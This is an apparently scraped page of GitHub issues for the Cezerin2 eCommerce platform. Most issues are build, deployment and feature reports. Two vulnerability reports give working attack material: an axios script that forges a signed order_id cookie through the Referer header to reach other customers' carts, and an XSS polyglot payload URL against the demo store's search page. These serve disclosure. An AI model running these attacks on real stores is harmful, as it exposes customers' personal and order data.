Code Monkey home page Code Monkey logo

cezerin2 / cezerin2 Goto Github PK

View Code? Open in Web Editor NEW
328.0 18.0 187.0 24.41 MB

Cezerin2 is React and Node.js based eCommerce platform. React Shopping Cart. "All In One" App: Cezerin API + Cezerin Storefront + Cezerin Dashboard.

Home Page: https://chost.ansiglobal.com

License: GNU Affero General Public License v3.0

JavaScript 33.31% CSS 0.68% HTML 0.46% Shell 0.11% SCSS 10.58% TypeScript 54.35% Sass 0.51%
cezerin react shopping cart ecommerce-platform express-js mongodb nodejs reactjs shoppingcart

cezerin2's People

Contributors

akajes avatar alien0w0 avatar craftedcat avatar dependabot-preview[bot] avatar dependabot[bot] avatar himadu2000 avatar lortschi avatar lubuss avatar matthewmorgan avatar stalkermv avatar tmmkrtchyan avatar valeriobob avatar vamcart avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

cezerin2's Issues

Database not connected to backend

mono repo backend all the admin part donot get connected to the database whwere as store is connected to the database what is the process of making this work fine

Cookie banner

Cookie banner to inform user over local system cached cookies and performance tracked cookies belongs to many countries law agreement.

How to implement
Cookie banner appears so long till the user don't interact with a click to accept or settings button.

  • Acceptance of cookies
  • Setting up cookies. In this folder user can switch off / on cookies. System relevant cookies couldn't be switched off.

Storefront not working at cezerin2-mono!

http://localhost:3000
Not working after build and start.

Here is the error:

Uncaught (in promise) TypeError: Cannot use 'in' operator to search for 'setCookie' in null
at t.value (theme-9d29414976e4573311a7.js:65)
at Ba (theme-9d29414976e4573311a7.js:49)
at Fa (theme-9d29414976e4573311a7.js:49)
at vs (theme-9d29414976e4573311a7.js:49)
at lu (theme-9d29414976e4573311a7.js:49)
at su (theme-9d29414976e4573311a7.js:49)
at Qs (theme-9d29414976e4573311a7.js:49)
at theme-9d29414976e4573311a7.js:49
at t.unstable_runWithPriority (theme-9d29414976e4573311a7.js:57)
at zi (theme-9d29414976e4573311a7.js:49)

and screen:

Screenshot from 2020-05-29 18-31-57

ERROR in ./theme/assets/scss/theme.scss

Hello everyone,
Some background, until now I was using the cezerin-mono project, I decided to try to install cezerin2 using this guide at https://github.com/Cezerin2/cezerin2/blob/master/docs/using-source-code.md
Although for some reason there are some errors that do not allow the compilation of the project.

ERROR in ./theme/assets/scss/theme.scss
Module build failed (from ./node_modules/mini-css-extract-plugin/dist/loader.js):
ModuleBuildError: Module build failed (from ./node_modules/css-loader/dist/cjs.js):
Error: Can't resolve '/assets/images/thin_arrow_right.svg' in 'C:\Users\dror\OneDrive\Desktop\cezerin\cezerin2\theme\assets\scss'
at doResolve (C:\Users\dror\OneDrive\Desktop\cezerin\cezerin2\node_modules\enhanced-resolve\lib\Resolver.js:209:21)
at hook.callAsync (C:\Users\dror\OneDrive\Desktop\cezerin\cezerin2\node_modules\enhanced-resolve\lib\Resolver.js:285:5)
at _fn0 (eval at create (C:\Users\dror\OneDrive\Desktop\cezerin\cezerin2\node_modules\tapable\lib\HookCodeFactory.js:33:10), :15:1)
at resolver.doResolve (C:\Users\dror\OneDrive\Desktop\cezerin\cezerin2\node_modules\enhanced-resolve\lib\UnsafeCachePlugin.js:44:7)
at hook.callAsync (C:\Users\dror\OneDrive\Desktop\cezerin\cezerin2\node_modules\enhanced-resolve\lib\Resolver.js:285:5)
at _fn0 (eval at create (C:\Users\dror\OneDrive\Desktop\cezerin\cezerin2\node_modules\tapable\lib\HookCodeFactory.js:33:10), :15:1)
at hook.callAsync (C:\Users\dror\OneDrive\Desktop\cezerin\cezerin2\node_modules\enhanced-resolve\lib\Resolver.js:285:5)
at _fn0 (eval at create (C:\Users\dror\OneDrive\Desktop\cezerin\cezerin2\node_modules\tapable\lib\HookCodeFactory.js:33:10), :27:1)
at resolver.doResolve (C:\Users\dror\OneDrive\Desktop\cezerin\cezerin2\node_modules\enhanced-resolve\lib\DescriptionFilePlugin.js:67:43)
at hook.callAsync (C:\Users\dror\OneDrive\Desktop\cezerin\cezerin2\node_modules\enhanced-resolve\lib\Resolver.js:285:5)
at _fn42 (eval at create (C:\Users\dror\OneDrive\Desktop\cezerin\cezerin2\node_modules\tapable\lib\HookCodeFactory.js:33:10), :16:1)
at hook.callAsync (C:\Users\dror\OneDrive\Desktop\cezerin\cezerin2\node_modules\enhanced-resolve\lib\Resolver.js:285:5)
at _fn1 (eval at create (C:\Users\dror\OneDrive\Desktop\cezerin\cezerin2\node_modules\tapable\lib\HookCodeFactory.js:33:10), :16:1)
at hook.callAsync (C:\Users\dror\OneDrive\Desktop\cezerin\cezerin2\node_modules\enhanced-resolve\lib\Resolver.js:285:5)
at _fn1 (eval at create (C:\Users\dror\OneDrive\Desktop\cezerin\cezerin2\node_modules\tapable\lib\HookCodeFactory.js:33:10), :16:1)
at hook.callAsync (C:\Users\dror\OneDrive\Desktop\cezerin\cezerin2\node_modules\enhanced-resolve\lib\Resolver.js:285:5)
at _fn0 (eval at create (C:\Users\dror\OneDrive\Desktop\cezerin\cezerin2\node_modules\tapable\lib\HookCodeFactory.js:33:10), :15:1)
at fs.stat (C:\Users\dror\OneDrive\Desktop\cezerin\cezerin2\node_modules\enhanced-resolve\lib\DirectoryExistsPlugin.js:27:15)
at process.nextTick (C:\Users\dror\OneDrive\Desktop\cezerin\cezerin2\node_modules\enhanced-resolve\lib\CachedInputFileSystem.js:85:15)
at process._tickCallback (internal/process/next_tick.js:61:11)
at runLoaders (C:\Users\dror\OneDrive\Desktop\cezerin\cezerin2\node_modules\webpack\lib\NormalModule.js:316:20)
at C:\Users\dror\OneDrive\Desktop\cezerin\cezerin2\node_modules\loader-runner\lib\LoaderRunner.js:367:11
at C:\Users\dror\OneDrive\Desktop\cezerin\cezerin2\node_modules\loader-runner\lib\LoaderRunner.js:233:18
at context.callback (C:\Users\dror\OneDrive\Desktop\cezerin\cezerin2\node_modules\loader-runner\lib\LoaderRunner.js:111:13)
at Object.loader (C:\Users\dror\OneDrive\Desktop\cezerin\cezerin2\node_modules\css-loader\dist\index.js:154:5)
at process._tickCallback (internal/process/next_tick.js:68:7)
@ ./theme/dist/index.js 152:1-37
@ multi theme

[VULNERABILITY]: Cookie poisoning

When a customer visits Cezerin, two signed cookies are set : landing_url and referrer_url.
The referrer_url cookie is set (signed) with the value of the Referer header but its missing validation, so any value will be set.

script :

const axios = require("axios");
// 62b9728e9352df6441630054

let config = {
    headers: {
        'Host': 'plusha.cezerin.net',
        'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate, br',
        'Referer': process.argv[2],
        'Connection': 'keep-alive',
        'Upgrade-Insecure-Requests': '1',
        'Pragma': 'no-cache',
        'Cache-Control': 'no-cache'
    }
};
(async () => {
    await axios.get('https://plusha.cezerin.net/',  config)
        .then(data => console.log(`success : order_id=${data.headers['set-cookie'][0].split('=')[1].split(';')[0]}` ));
})();

save the above file as cookie.js and execute it like so : node cookie.js 62b9728e9352df6441630054
The script will output something like this :

success : order_id=s%3A62b9728e9352df6441630054.x%2FwysOvDVq9nNwXO4N3tFmZpki7lvEHMgqtNAkAoTuw

Now that we have a valid signed order_id cookie, if we import that cookie in the browser , we will get access to the customers cart , with all its details and you can also perform an attack on the objectId , listing carts that contain customer data ;

sample output on GET https://plusha.cezerin.net/ajax/cart

{
   "date_created":"2022-06-27T09:04:14.558Z",
   "date_placed":null,
   "date_updated":"2022-06-27T09:05:31.311Z",
   "date_closed":null,
   "date_paid":null,
   "date_cancelled":null,
   "number":1002,
   "shipping_status":"",
   "items":[
      {
         "product_image":[
            {
               "id":"5e1653f2f60c02051954ed72",
               "alt":"",
               "position":99,
               "filename":"cezerin.png",
               "url":"https://cezerin.net/images/products/5e1639ae0c86ec14224a4645/cezerin.png"
            }
         ],
         "id":"62b9728e9352df6441630055",
         "product_id":"5e1639ae0c86ec14224a4645",
         "variant_id":null,
         "quantity":2,
         "discount_total":0,
         "name":"Product A",
         "price":850,
         "price_total":1700,
         "sku":"product-a",
         "tax_class":null,
         "tax_total":0,
         "variant_name":"",
         "weight":0.5,
         "image_url":"https://cezerin.net/images/products/5e1639ae0c86ec14224a4645/cezerin.png",
         "path":"/category-a/product-a",
         "stock_quantity":10000
      }
   ],
   "transactions":[
      
   ],
   "discounts":[
      
   ],
   "billing_address":{
      "full_name":"",
      "address1":"",
      "address2":"",
      "city":"",
      "country":"",
      "postal_code":"",
      "state":"",
      "phone":"",
      "company":"",
      "tax_number":"",
      "coordinates":{
         "latitude":"",
         "longitude":""
      },
      "details":null
   },
   "shipping_address":{
      "full_name":"backer 68 ",
      "address1":"",
      "address2":"",
      "city":"",
      "country":"",
      "postal_code":"",
      "state":"",
      "phone":"",
      "company":"",
      "tax_number":"",
      "coordinates":{
         "latitude":"",
         "longitude":""
      },
      "details":null
   },
   "tax_rate":0,
   "shipping_tax":0,
   "shipping_discount":0,
   "shipping_price":0,
   "item_tax_included":true,
   "shipping_tax_included":true,
   "closed":false,
   "cancelled":false,
   "delivered":false,
   "paid":false,
   "hold":false,
   "draft":true,
   "first_name":"backer 68",
   "last_name":"",
   "password":"",
   "email":"[email protected]",
   "mobile":"+5 (555) 555-5555",
   "referrer_url":"https://cezerin.org/",
   "landing_url":"https://plusha.cezerin.net/",
   "channel":"",
   "note":"",
   "comments":"",
   "coupon":"",
   "tracking_number":"",
   "customer_id":null,
   "status_id":null,
   "payment_method_id":null,
   "shipping_method_id":"5e1639ae0c86ec14224a464e",
   "tags":[
      
   ],
   "id":"62b9728e9352df6441630054",
   "status":"",
   "shipping_method":"Courier",
   "payment_method":"",
   "payment_method_gateway":"",
   "weight_total":1,
   "discount_total":0,
   "subtotal":1700,
   "tax_included_total":0,
   "tax_total":0,
   "shipping_total":0,
   "grand_total":1700
}

The referrer_url value should be validated before being set.

[XSS]: XSS on search

PoC :

https://plusha.cezerin.net/search?search=jaVasCript:/*-/*`/*\`/*%27/*%22/**/(/*%20*/oNcliCk=alert()%20)//%0D%0A%0D%0A//%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E\x3csVg/%3CsVg/oNloAd=alert()//%3E\x3e

Same issue is present on First Name checkout input fields.

30% discount

All products appearing in the site displayed after a 30% discount, there is any option to change this const discount ??
price = price*0.7;

i used with cezerin2-theme-plusha

It is important to know that this problem only happens when I browse through the Browsers that install in my computer, when I browse through the smartphone then Cezerin show regular price without 30% discount.

Register of user is not working

The registration of a new user is not working correctly. When you click on the link received at the email the user will be not inserted in the db.
After clicking the link in the email the error I get is the following:

(node:6678) UnhandledPromiseRejectionWarning: Error [ERR_HTTP_HEADERS_SENT]: Cannot set headers after they are sent to the client
at new NodeError (internal/errors.js:322:7)
at ServerResponse.setHeader (_http_outgoing.js:561:11)
at ServerResponse.header (/home/bob/Desktop/Cezerin2/node_modules/express/lib/response.js:776:10)
at ServerResponse.send (/home/bob/Desktop/Cezerin2/node_modules/express/lib/response.js:170:12)
at ServerResponse.json (/home/bob/Desktop/Cezerin2/node_modules/express/lib/response.js:267:15)
at ServerResponse.send (/home/bob/Desktop/Cezerin2/node_modules/express/lib/response.js:158:21)
at /home/bob/Desktop/Cezerin2/src/api/server/ajaxRouter.ts:381:25
at Generator.next ()
at fulfilled (/home/bob/Desktop/Cezerin2/src/api/server/ajaxRouter.ts:5:58)
at processTicksAndRejections (internal/process/task_queues.js:95:5)
(node:6678) UnhandledPromiseRejectionWarning: Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). To terminate the node process on unhandled promise rejection, use the CLI flag --unhandled-rejections=strict (see https://nodejs.org/api/cli.html#cli_unhandled_rejections_mode). (rejection id: 1)
(node:6678) [DEP0018] DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.
(node:6678) UnhandledPromiseRejectionWarning: Error [ERR_HTTP_HEADERS_SENT]: Cannot set headers after they are sent to the client
at new NodeError (internal/errors.js:322:7)
at ServerResponse.setHeader (_http_outgoing.js:561:11)
at ServerResponse.header (/home/bob/Desktop/Cezerin2/node_modules/express/lib/response.js:776:10)
at ServerResponse.send (/home/bob/Desktop/Cezerin2/node_modules/express/lib/response.js:170:12)
at ServerResponse.json (/home/bob/Desktop/Cezerin2/node_modules/express/lib/response.js:267:15)
at ServerResponse.send (/home/bob/Desktop/Cezerin2/node_modules/express/lib/response.js:158:21)
at /home/bob/Desktop/Cezerin2/src/api/server/ajaxRouter.ts:381:25
at Generator.next ()
at fulfilled (/home/bob/Desktop/Cezerin2/src/api/server/ajaxRouter.ts:5:58)
at processTicksAndRejections (internal/process/task_queues.js:95:5)
(node:6678) UnhandledPromiseRejectionWarning: Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). To terminate the node process on unhandled promise rejection, use the CLI flag --unhandled-rejections=strict (see https://nodejs.org/api/cli.html#cli_unhandled_rejections_mode). (rejection id: 2)

[BEHAVOUR]: Changing price color in theme is not working

Describe the bug
Trying to change price color from theme settings, changed color is not reflecting its defaulted to red(FF0000) color
To Reproduce
Steps to reproduce the behavior:

  1. Go to /admin/settings/theme
  2. Go to product section and try to change color'
  3. Check on frontend store - changed color does not reflect

Expected behavior
Color should be changed as per theme
Screenshots
NA

Additional context
Add any other context about the problem here.

[BUG]: Unterminated string constant error

Describe the bug
Command: yarn build

To Reproduce
Steps to reproduce the behavior:
run command: yarn build

Expected behavior
Build Syccessful
Screenshots
If applicable, add screenshots to help explain your problem.

Additional context
Add any other context about the problem here.

Compiling server default build...

SyntaxError: Unterminated string constant (1:13)
at Object.pp$4.raise (F:\Sharayu Machins\Cezerin2\node_modules\acorn\dist\acorn.js:3459:15)
at Object.pp.readString (F:\Sharayu Machins\Cezerin2\node_modules\acorn\dist\acorn.js:5289:49)
at Object.pp.getTokenFromCode (F:\Sharayu Machins\Cezerin2\node_modules\acorn\dist\acorn.js:5084:19)
at Object.pp.readToken (F:\Sharayu Machins\Cezerin2\node_modules\acorn\dist\acorn.js:4808:17)
at Object.readToken (F:\Sharayu Machins\Cezerin2\node_modules\acorn-import-assertions\lib\index.js:55:24)
at Object.pp.nextToken (F:\Sharayu Machins\Cezerin2\node_modules\acorn\dist\acorn.js:4799:17)
at Object.pp.next (F:\Sharayu Machins\Cezerin2\node_modules\acorn\dist\acorn.js:4760:10)
at Object.pp$5.parseIdent (F:\Sharayu Machins\Cezerin2\node_modules\acorn\dist\acorn.js:3392:10)
at Object.pp$5.parseExprAtom (F:\Sharayu Machins\Cezerin2\node_modules\acorn\dist\acorn.js:2767:21)
at Object.pp$5.parseExprSubscripts (F:\Sharayu Machins\Cezerin2\node_modules\acorn\dist\acorn.js:2635:21)
at Object.pp$5.parseMaybeUnary (F:\Sharayu Machins\Cezerin2\node_modules\acorn\dist\acorn.js:2601:19)
at Object.pp$5.parseExprOp (F:\Sharayu Machins\Cezerin2\node_modules\acorn\dist\acorn.js:2553:43)
at Object.pp$5.parseExprOps (F:\Sharayu Machins\Cezerin2\node_modules\acorn\dist\acorn.js:2530:93)
at Object.pp$5.parseMaybeConditional (F:\Sharayu Machins\Cezerin2\node_modules\acorn\dist\acorn.js:2511:21)
at Object.pp$5.parseMaybeAssign (F:\Sharayu Machins\Cezerin2\node_modules\acorn\dist\acorn.js:2478:21)
at Object.pp$5.parseParenAndDistinguishExpression (F:\Sharayu Machins\Cezerin2\node_modules\acorn\dist\acorn.js:2939:30) {
pos: 13,
loc: Position { line: 1, column: 13 },
raisedAt: 15
}

Cart items are not associated with user

Steps:

  1. Login in as a user.
  2. Add a product to the cart.
  3. logout.
  4. Remove the item from the cart.
  5. Login again with the same user.
    Result: The Item is removed.

Can't login to account when guest order completed with the same as account email!

Can't login to account when guest order completed with the same as account email!

How to reproduce this bug:

  1. Register, activate account at store. Check the login page, account authorization is working.
  2. Then logout from your account.
  3. Then add product to cart and checkout the order AS GUEST.
  4. Then try to login to your account.

You can't.

ok, wait a minute
drop db
and start now
ok, started with clean db
no i'm register account [email protected] and pass is test
activated
logged in with test password
now logout
and checkout the order like a guest with the same email [email protected] and the same pass test
then try to login to my account
yes, still the same error
can't login to my account after guest order with the same email

Version Updates

I am trying to install a new store on Google Cloud using a VM running Ubuntu 20.04 Minimal. Following the instructions and I get this message when I am installing the version of NodeJS you are saying to use in your prerequisites page. The step you list is as follows:

curl -sL https://deb.nodesource.com/setup_11.x | sudo -E bash -

I get the following message:

================================================================================
================================================================================

                              DEPRECATION WARNING                            

  Node.js 11.x is no longer actively supported!

  You will not receive security or critical stability updates for this version.

  You should migrate to a supported version of Node.js as soon as possible.
  Use the installation script that corresponds to the version of Node.js you
  wish to install. e.g.

   * https://deb.nodesource.com/setup_10.x — Node.js 10 LTS "Dubnium"
   * https://deb.nodesource.com/setup_12.x — Node.js 12 LTS "Erbium" (recommended)
   * https://deb.nodesource.com/setup_14.x — Node.js 14 LTS "Fermium"
   * https://deb.nodesource.com/setup_15.x — Node.js 15 "Fifteen"

  Please see https://github.com/nodejs/Release for details about which
  version may be appropriate for you.

  The NodeSource Node.js distributions repository contains
  information both about supported versions of Node.js and supported Linux
  distributions. To learn more about usage, see the repository:
    https://github.com/nodesource/distributions

================================================================================
================================================================================

I have installed a test site on a duplicate system and choose to install NodeJS 12 LTS. During the building there was many warnings about modules that shouldn't be used any more and calls to functions that are depreciated and should be changed. I was able to run the site in developer mode but when I tried to build turning off developer mode the software was throwing a bunch of errors. So I decided to leave that system (I didn't dig to far into the errors) and start from scratch with the exact versions you list. But I can't install that version of software.

Is there an easy way to update the software dependencies to supported software versions and module versions?

[BUG]: Revoke access token not working

Describe the bug
Can't revoke the access tokens

To Reproduce
Steps to reproduce the behavior:

  1. Go to 'Admin/Settings/Personal Access Token'
  2. Add a new access token
  3. try to revoke it
  4. The dialog to revoke will not open

developerMode

There Cezerin cannot running with developerMode=false at server.js and admin.js files
i used with cezerin2-theme-plusha

[BUG]: Deploy Heroku

Launched two separate applications on heroku.
API is working - https://sezerin-store.herokuapp.com/api/v1/settings
Store in the logs error -

2022-04-09T17:22:09.719513+00:00 app[web.1]: at Module.require (node:internal/modules/cjs/loader:1005:19) {
2022-04-09T17:22:09.719513+00:00 app[web.1]: code: 'MODULE_NOT_FOUND',
2022-04-09T17:22:09.719513+00:00 app[web.1]: requireStack: [
2022-04-09T17:22:09.719513+00:00 app[web.1]: '/app/theme/dist/index.js',
2022-04-09T17:22:09.719514+00:00 app[web.1]: '/app/dist/store/server/pageRendering.js',
2022-04-09T17:22:09.719514+00:00 app[web.1]: '/app/dist/store/server/index.js'
2022-04-09T17:22:09.719514+00:00 app[web.1]: ]
2022-04-09T17:22:09.719514+00:00 app[web.1]: }
2022-04-09T17:22:09.856330+00:00 heroku[web.1]: Process exited with status 1
2022-04-09T17:22:10.116997+00:00 heroku[web.1]: State changed from starting to crashed

removed the specified folders from the gitignore file, but still doesn't work.
What could be the problem?

[BUG]: Product 'Move to' not working

Describe the bug
If you select a product in order to move to another category, you get the error Link outside of a Router

To Reproduce
Steps to reproduce the behavior:

  1. Go to '/admin/products'
  2. Select a product
  3. Click to the folder (upper right of the page)
  4. get the error Link outside of a Router

Expected behavior
Move a product inside another category

Customer contact page

Currently the storefront has no customer contact page to get in contact with the support team of the shop.
What need to be implemented:

  • Create a customer contact page out of the box by installing Cezerin2.
  • Customer contact page has a contact form with Google Captcha v2 integrated.
  • Set up store contact email address field for general settings.

How to get in touch regarding a security concern

Hey there!

I belong to an open source security research community, and a member (@wjddnjs33) has found an issue, but doesn’t know the best way to disclose it.

If not a hassle, might you kindly add a SECURITY.md file with an email, or another contact method? GitHub recommends this best practice to ensure security issues are responsibly disclosed, and it would serve as a simple instruction for security researchers in the future.

Thank you for your consideration, and I look forward to hearing from you!

(cc @huntr-helper)

[npm i error] material-ui pointing to old react version but application pointed to latest react version(17.x) in package.json. Also, material-ui is deprecated officially.

Dependency resolution error due to material-ui package. Also, material-ui package is deprecated and @material-ui/core should be used instead

To Reproduce
Run "npm i" command on main branch

ERR! code ERESOLVE
npm ERR! ERESOLVE unable to resolve dependency tree
npm ERR!
npm ERR! While resolving: [email protected]
npm ERR! Found: [email protected]
npm ERR! node_modules/react
npm ERR! react@"^17.0.2" from the root project
npm ERR!
npm ERR! Could not resolve dependency:
npm ERR! peer react@"^15.4.0 || ^16.0.0" from [email protected]
npm ERR! node_modules/material-ui
npm ERR! material-ui@"^0.20.2" from the root project

Expected behavior
Should not get dependency resolution issue
Also, new material-ui/core package should be used as @material-ui is deprecated officially

Screenshots
copy pasted the error log above

webpack.config.admin css building issue module parse failed unexpected token on line 1

You may have experimented this issue building the admin modules by npm run build command. Storefront working after this building error fine but admin dashboard won't load and showing blank page.

Bild von iOS

Step to reproduce:

  1. clone repo down and start: npm i
  2. after all node modules are installed, run: npm run build
  3. At first build on clean folder would maybe proper build, but if branch changes and it has to make a rebuild to admin, it would fail.

can't login in prod

hi,
i enable prod mode, create nginx config, all ok start ok.

But when i try open /admin/login, and send admin email,
xhr re still send to http://localhost:3001

Request URL: http://localhost:3001/api/v1/authorize
Referrer Policy: no-referrer-when-downgrade
Provisional headers are shown
content-type: application/json
Referer: http://shop.domain/admin/login
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
{email: "postmaster@domain"}
email: "postmaster@domain"

[BUG]: Error events after migrating to react-final-form

Hi, after migrating to 'react-final-form' all events are disabled

  1. goto register form
  2. try enter password and repeat

the same password gets an error

onBlur onClick

at least in theme sources
theme/src/components/resetPassword/resetPassword.tsx
theme/src/components/checkoutForm/stepContacts.tsx
theme/src/components/register/register.tsx

[BUG]: Port Issue

While installing the app locally trying to bind my IP to my domain and port forwarding: I get directed to my Admin panel page. Is this issue from cezerin/nginx or do I have to configure locally? If so any idea why i get directed to my admin router page after changing configuration?

Can't deploy pm2 from root

deployinf pm from root causes the following error in store

ENOENT: no such file or directory, open '/root/cezerin2-mono/theme/locales/en.json'

Data getting erased automatically

Data is getting dropped or earased frequently , Please do let us know what is the cause of it and what fix needs to be done

we have just done the setup and launched it which out changing any of the config file but still
after 3 days it is getting erased
config file hear means which one do we need to check ,Is it related to settings in the admin which we configure using dashboard
we have used npm run setup only at the start before launching post which we have not done any changes

Customer Account can't save profile settings

After customer registration, is not possible to save the edit of the profile (shipping -and billing address).

Steps to reproduce:

  • Register new customer
  • Log in with new custormer to account
  • Go to edit profile section in account
  • Set up new shipping -and billing address and save
  • returned to account main overview is nothing saved
  • On place of "member since" is invalid date displayed

Solved:
Customer should be able to save shipping -and billing address. Member since should be displayed correctly.

smtp integration

smtp integration with gamil not able to send email i have turned on my gmail imap settings as well as less secure apps are allowed in settings i am having this response {"sent":false,"error":null}

Dashboard product edit

In the admin dashboard, , the section "additional information" inside the edit of the products is not working correctly: the button used to change category and the related products are not working correctly.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.